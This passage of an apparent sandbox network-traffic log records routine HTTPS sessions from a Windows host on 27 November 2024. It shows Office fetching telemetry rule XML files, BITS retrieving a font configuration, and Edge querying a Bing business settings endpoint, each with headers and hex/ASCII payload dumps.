<TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153435Z-174f7845968pf68xhC1EWRr4h80000000x8g00000000pv66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:35 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49752	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 15:34:35 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=125144 Date: Wed, 27 Nov 2024 15:34:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-27 15:34:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153435Z-174f78459688l8rvhC1EWRtzr000000009s000000000a54z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153435Z-174f7845968vqt9xhC1EWRgten0000000x2g00000000q0qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:35 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:35 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153435Z-174f7845968qj8jrhC1EWRh41s0000000wy000000000tw4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:35 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:36 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153436Z-174f7845968psccphC1EWRuz9s0000000xfg000000000ncr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153438Z-174f7845968jrjrxhC1EWRmmrs0000000x5000000000nfc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:38 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153438Z-174f7845968jrjrxhC1EWRmmrs0000000x8g00000000bwx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:38 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a89cb059-301e-003f-5da3-40266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153438Z-174f7845968px8v7hC1EWR08ng0000000xbg00000000fp17 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b00412e4-c01e-008d-4e65-402eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153438Z-174f7845968cpnpfhC1EWR3afc0000000wp000000000mv5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:39 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:38 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153439Z-174f784596886s2bhC1EWR743w0000000x7g00000000542e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49765	13.107.9.158	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:39 UTC	427	OUT	GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:40 UTC	938	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 584 Content-Type: application/json; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://bzib.nelreports.net/api/report?cat=bingbusiness"}]} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1F7BE65A5C8D42BB877EA47D8583F880 Ref B: BL2AA2030101037 Ref C: 2024-11-27T15:34:39Z Set-Cookie: MUIDB=1CC286328A016F443E8893768B956E6B; path=/; httponly; expires=Mon, 22-Dec-2025 15:34:40 GMT Date: Wed, 27 Nov 2024 15:34:39 GMT Connection: close
2024-11-27 15:34:40 UTC	584	IN	Data Raw: 7b 22 74 65 6e 61 6e 74 53 65 74 74 69 6e 67 73 22 3a 7b 22 66 72 69 65 6e 64 6c 79 4e 61 6d 65 22 3a 22 22 2c 22 74 65 6e 61 6e 74 4f 62 6a 65 63 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 43 68 65 63 6b 73 75 6d 22 3a 22 22 2c 22 74 68 65 6d 65 22 3a 22 22 2c 22 61 64 6d 69 6e 45 6d 61 69 6c 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 49 73 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 74 65 6e 61 6e 74 47 72 6f 75 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 43 6f 6d 70 6c 65 74 65 22 2c 22 76 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 65 78 70 6c 6f 72 65 51 75 65 72 69 65 73 22 3a 5b Data Ascii: 